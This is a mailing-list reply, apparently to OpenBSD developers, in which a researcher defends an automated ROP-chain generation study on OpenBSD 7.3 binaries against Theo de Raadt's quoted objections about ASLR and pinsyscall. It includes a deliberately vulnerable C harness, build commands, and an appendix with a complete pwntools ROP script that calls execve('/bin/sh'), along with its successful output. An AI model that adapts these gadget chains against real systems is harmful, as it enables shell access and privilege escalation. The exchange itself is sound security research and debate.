Thank you for your response. It seems there might be some misunderstanding about what I'm researching. Allow me to explain the experiments I'm conducting in more detailed.
We are working on implementing a tool similar to angrop <https://github.com/angr/angrop> and ropium <https://github.com/Boyan-MILANOV/ropium>. These tools aim to automate ROP attacks. Such tools were initially introduced in the paper Q: Exploit Hardening Made Easy <https://www.usenix.org/conference/usenix-security-11/q-exploit-hardening-made-easy>. These tools and papers generally assume the ability to bypass ASLR and other address randomization techniques, *focusing more on automating the selection and chaining of Gadgets in a given program to construct an ROP payload*. I'm not entirely clear about the meaning of your statement, "*You cannot see where in memory the binary is mapped.*" However, I gather from the sentence, "*What info leak are you exercising to extract **libc.so's ** location, and per-boot layout, and then precisely target the specific 'syscall' instruction?*" that you may be referring to the challenge of not being able to accurately determine the address of the 'syscall' instruction due to address randomization. I also checked the protection mechanisms for programs in OpenBSD 7.3 using the 'checksec' tool from pwn. OpenBSD enables PIE (Position Independent Executable) code address randomization protection. When faced with address randomization, many exploits require first achieving an address leak or employing other ASLR bypass techniques before proceeding with further privilege escalation. However, our primary focus is not on address leak methods, as they can vary significantly and are closely tied to the specific vulnerability and program. Instead, *we concentrate on automating the Gadget selection and chaining process to achieve privilege escalation ultimately.* Our experiments revolve around evaluating the ROP construction capability of each program's Gadget collection. In other words, we assess the maximum ROP construction potential of each program's distinct Gadget collection. Initially, we assume that the issue of address randomization can be bypassed using known address leak vulnerabilities/exploitation techniques. For our experiments, we disable the address randomization protection mechanism in the programs. In our experiments, we extracted 264 programs from OpenBSD 7.3, which we have made available in the orig folder on Github <https://anonymous.4open.science/r/roptest-benchmark-00F7/orig/openbsd-73>. We then injected simple stack overflow vulnerabilities into these programs using *objcopy*, while preserving all the original program's code to* ensure the integrity of the original Gadget collection*. We placed the programs with injected vulnerabilities in the vuln folder on Github <https://anonymous.4open.science/r/roptest-benchmark-00F7/vuln/openbsd-73>, with each program corresponding to a specific one in the orig folder. Please note that after injecting the vulnerabilities, the programs execute the '*main*' function from the vulnerable program, not the entry function from the original program. However, the Gadgets from the original program are still usable. This approach allows us to evaluate the ROP construction capability of the original program's Gadget collection and use the injected vulnerabilities to validate the correctness of ROP exploitation. # critical code in vul.c . >> >> void vul() { >> char buf[1]; >> int fd = open(filename, O_RDONLY); >> assert(fd != -1); >> size_t size = filesize(fd); >> printf("\t- File '%s' with size '%i'\n", filename, size); >> int ret = read(fd, buf, size); >> assert(ret != -1); >> #ifdef WINDOWS >> ; >> #else >> close(fd); >> #endif >> return; >> } >> int main(int argc, char **argv) { >> setbuf(stdout, NULL); >> snprintf(filename, sizeof(filename), argv[1]); >> printf("Start Test Program!\n"); >> printf("main: %p", main); >> vul(filename); >> printf(" FAIL\n"); >> printf(" * Control flow wasn't be hijacked\n"); >> return 0; >> } >> >> > # critical code in Makefile. > # gcc -m64 vul.c -o vul32.o -fno-PIC -fno-stack-protector -g -c > # objcopy --add-section .mytext=$< --set-section-flags > .mytext=alloc,code,load,readonly source/vul64.o $@ > This provides an example of ROP generation, such as the "chmod <https://anonymous.4open.science/r/roptest-benchmark-00F7/vuln/openbsd-73/chmod.bin>" program, which is only 290KB and has a very limited number of gadgets. Using the ropper <https://github.com/sashs/Ropper> tool, we found only 1088 gadgets. Using gadgets becomes increasingly challenging under the influence of OpenBSD's ROP mitigation mechanism. Through multiple automated attempts at selecting and chaining gadgets, our tool eventually generated an exploit script that successfully executes execve("/bin/sh", 0, 0). The exploit is highly complex, and you can find the script here <https://anonymous.4open.science/r/roptest-benchmark-00F7/rop_example/openbsd-73/chmod.bin.script>. The complexity arises due to limitations on the number of gadgets, the complexity of gadgets, data dependencies among gadgets, and the side effects of gadgets. In comparison, a more straightforward example is the "as" program. The ROP payload <https://anonymous.4open.science/r/roptest-benchmark-00F7/rop_example/openbsd-73/as.bin.script> for this program is relatively simple, and it can also achieve the ROP target of calling execve("/bin/sh", 0, 0). Please note: Below are the execution results. The "as.bin.input" is the file generated by the ROP payload. The vul function reads its file content, leading to an overflow and executing the malicious ROP payload. Finally, it calls execve("/bin/fh", 0, 0), where /bin/fh is a program we compiled ourselves, which will output the word "SUCCESS," as shown below. It is evident that by modifying "/bin/fh" to "/bin/sh," the vulnerability exploitation for obtaining a system shell can be achieved. $ ./as.bin as.bin.input > Start Test Program! > main: 0x401418 - File 'as.bin.TTRop3.input' with size '149' > SUCCESS > PARAMETERS ARE CORRECT $ ./chmod.bin chmod.bin.input > Start Test Program! > main: 0x401418 - File 'chmod.bin.TTRop3.input' with size '933' > SUCCESS > PARAMETERS ARE CORRECT Appendix: The complete ROP attack script for generating as.bin.input. It first utilizes the gadget "add qword ptr [rcx + 0xf], rax" to write the "/bin/sh" string. Then, it sequentially sets the values of the rsi, rdi, rdx, and rax registers, finally jumping to the syscall instruction to complete the system call. In the absence of address randomization factors, it is relatively easy to reach the 'syscall' instruction contained within the program. These gadgets are derived from situations where some programs use functions like sys_write. from pwn import * ## add overflow padding > payload = 'a'*29 > payload += p64(0x46fb23) > #0x46fb23: pop rcx ; retf > payload += p64(0x50f049)+p32(0x43cafc)+p32(0x33) > # 0x43cafc: pop rax ; retf > payload += p64(0x68662f6e69622f)+p32(0x4af703)+p32(0x33) > # 0x4af703: add qword ptr [rcx + 0xf], rax ; retf > payload += p32(0x424a20)+p32(0x33) > # 0x0000000000424a20: pop rax; ret; > payload += p64(0x0)+p64(0x482e4e) > # 0x0000000000482e4e: xchg esi, eax; ret; > payload += p64(0x475415) > # 0x0000000000475415: pop rdi; ret; > payload += p64(0x50f058)+p64(0x47b421) > # 0x000000000047b421: pop rdx; ret; > payload += p64(0x0)+p64(0x424a20) > # 0x0000000000424a20: pop rax; ret; > payload += p64(0x3b)+p64(0x43ce7d) > # 0x000000000043ce7d: syscall; > payload += b'' > with open('as.bin.input', 'wb') as fw: > fw.write(payload) Best regards, ZoE Theo de Raadt <dera...@openbsd.org> 于2023年10月12日周四 01:29写道: > Nan ZoE <zoen...@gmail.com> wrote: > > > In *OpenBSD 7.3,* out of 264 programs, we only > > managed to generate ROP for 134 programs, with a success rate of > *50.75%*. > > Please provide a list of all programs where you *ESCALATED PRIVILEGE* > via ROP methods. I ask, because: > > 1. If you are playing with a setuid static program, you cannot see where > in memory the binary is mapped, so you do not know the precise > syscall stub that is permitted for execve(2). > > 2. If you are playing with a setuid dynamic program, you cannot see > where in memory libc.so is mapped, so you do not know the precise > syscall stub that is permitted for execve(2). > > 3. If you are attacking a daemon, you cannot see where in memory it's > execve stub (dynamic or static) is mapped, so you do not know the > precise syscall stub to address which will perform execve(2). > > Please explain how you perform the step of determining the execve system > call entrypoint for a memory image which is not readable. > > From innovations.html: > > ld.so and crt0 register the location of the execve(2) stub with the > kernel using pinsyscall(2), after which the kernel only accepts an > execve call from that specific location. Theo de Raadt, Feb 2023. > > What info leak are you exercising to extract libc.so's location, and > per-boot layout, and then precisely target the specific "syscall" > instruction? > > My theory is that you are performing tests which are highly synthetic > (like -- reading a binary, checking it's in-memory layout once it starts > executing), and then you conclude that all the steps to your ROP > methodology > are sufficient to plausibly gain *ESCALATED PRIVILEGE*. > > So either you have new methodology that allows you to bypass these other > mitigations, or you have jumped to conclusion that the existance of > polymorphic > ROP learned from (impossible) runtime inspection gaurantees exploit. >